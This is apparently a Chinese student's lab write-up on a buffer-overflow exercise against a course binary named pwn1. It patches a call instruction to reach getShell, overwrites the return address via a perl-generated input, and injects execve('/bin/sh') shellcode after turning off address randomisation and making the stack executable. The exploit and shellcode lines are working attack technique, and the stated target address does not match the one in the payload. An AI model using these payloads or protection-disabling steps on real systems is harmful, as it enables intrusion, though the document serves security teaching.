2018-2019-2 网络对抗技术 20165337 Exp1 PC平台逆向破解(BOF实验)
实验内容
- 直接修改程序,跳转到getShell函数。
- 使用BOF攻击,覆盖返回地址,触发getShell函数。
注入一个自己的shellcode并运行。
任务一:直接修改程序,跳转到getShell函数。
1.首先使用chmod +x pwn1变成可执行文件,提高权限
2.使用objdump -d pwn1,反汇编pwn1文件

在80484b5: e8 d7 ff ff ff call 8048491 这条指令调用08048491处的foo函数
如果想让函数调用getShell,需要修改d7 ff ff ff。根据foo函数与getShell地址的偏移量,计算地址:
- 0x08048491 - 0x0804847d = 0x00000014 //计算地址差
- 0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址
使用vi指令编辑,进去之后显示乱码,然后使用:%!xxd命令转换为16进制找到d7

按i将d7改为c3

再使用:%!xxd -r换回乱码。保存之后退出
再次使用objdump -d pwn1,查看被修改后的文件

执行程序pwn1

任务一完成
任务二:使用BOF攻击,覆盖返回地址,触发getShell函数。
使用gdb进行调试程序,运行程序,输入一大串字符abcdefghijklmnopqrstuvwxyz1234567890
得到结果

得到一个错误的返回地址0x30393837
因为是小端机器,所以说明是后面四位发生了溢出,覆盖了返回地址,那么我们如果想要让他跳转到其他地方就需要修改后四位地址,
那我们只需要把最后四位写为\xd7\x84\x04\x08(即shellcode的起始地址0x080484d7)就完成了
使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input管道命令
就攻击成功了

任务三:注入一个自己的shellcode并运行。
注入shellcode的意思是shellcode在输入的时候被放入堆栈,在堆栈里面就有机会把返回地址指向shellcode,实现攻击。
首先要设置堆栈可执行
execstack -s 20165337pwn2 //设置堆栈可执行
execstack -q 20165337pwn2 //查询文件的堆栈是否可执行
若不能成功则使用apt-get install execstack进行更新
然后查询一下是否可执行若为X 20165337pwn2则为可执行

然后我们还需要关闭地址随机化
使用echo "0" > /proc/sys/kernel/randomize_va_space关闭,否则每次执行esp的值都会发生变化
整个过程中我们需要注入一段代码,然后构造一个构造一个input_shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
一个窗口运行(cat input_shellcode;cat) | ./20165337pwn2
另一个窗口运行ps -ef | grep pwn可以查看到当前进程号
然后在gdb里面输入attach 进程号
(gdb) disassemble foo反编译查看地址



得到0xffffd30c
计算d30c+0004为d310
然后修改input_shellcode
最终攻击成功

2018-2019-2 网络对抗技术 20165337 Exp1 PC平台逆向破解(BOF实验)的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 20165205 《网络对抗技术》 Exp1 PC平台逆向破解
2018-2019-2 20165205 <网络对抗技术> Exp1 PC平台逆向破解 1. 实验任务 1.1实验概括 用一个pwn1文件. 该程序正常执行流程是:main调用foo函数, ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
随机推荐
- spring 纯注解方式 与AOP
spring注解方式 以前我也使用过纯注解方式.现在在这里做个记录 我们先认识几个我们都耳熟能详的注解 @configuration :从spring3.0这个注解就可以用于定义配置类,可以替换xml ...
- Python--day11(函数的参数)
今日主要内容 1. 函数的参数 2. 函数的嵌套调用 1. 形参与实参 1. 参数介绍: 函数为什么要有参数:因为内部的函数体需要外部的数据 怎样定义函数的参数:在定义函数阶段,函数名在后面( ...
- Docker 部署Confluence15.2
一.数据库准备 数据库版本:5.7 这里数据库并没有采用docker镜像方式,而是选择已有数据库.至于数据库安装这里不再说明. 注:我这里安装confluence时,需要在下面配置数据库信息时,在数据 ...
- ansible copy 模块详解
ansible 模块 copy one.概述 copy 模块的作用就是拷贝文件,它与之前介绍过的 fetch 模块类似,不过,fetch 模块是从远程主机中拉取文件到 ansible 管理主机,而 c ...
- git 拉取远程分支到本地
步骤: 1.新建一个空文件,文件名为hhhh 2.初始化 git init 3.自己要与origin master建立连接(下划线为远程仓库链接) git remote add origin git@ ...
- METO CODE 223 拉力赛
传送门 继续水板子题... #include <bits/stdc++.h> #define ll long long using namespace std; inline int re ...
- P1438 无聊的数列 (差分+线段树)
题目 P1438 无聊的数列 解析: 先考虑修改,用差分的基本思想,左端点加上首项\(k\),修改区间\((l,r]\)内每个数的差分数组都加上公差\(d\),最后的\(r+1\)再减去\(k+(r- ...
- luogu4166 最大土地面积 (旋转卡壳)
首先这样的点一定在凸包上 然后旋转卡壳就可以 具体来说,枚举对角线的一个端点,另一个端点在凸包上转,剩下两个点就是一个叉积最大一个最小,而这两个点也是跟着转的 所以是$O(N^2)$ #include ...
- 微信公众、QQ群、知识星球(附比特币链接)
文章一般都会在公众号抢先预览,一个系列出差不多的时候一般博客园汇总一下(文章很长) 微信公众号:逸鹏说道(dotnetcrazy) 群友刚创建的Python中级群,有一定Python基础的可以共同探讨 ...
- 仿照selalchemy实现简单的mongo查询
首先这是一个很奇葩的需求,时间紧迫顺手胡写了一个,以后看看有没有好的思路 def and_(item_list): return "%s:[%s]" % ("$and&q ...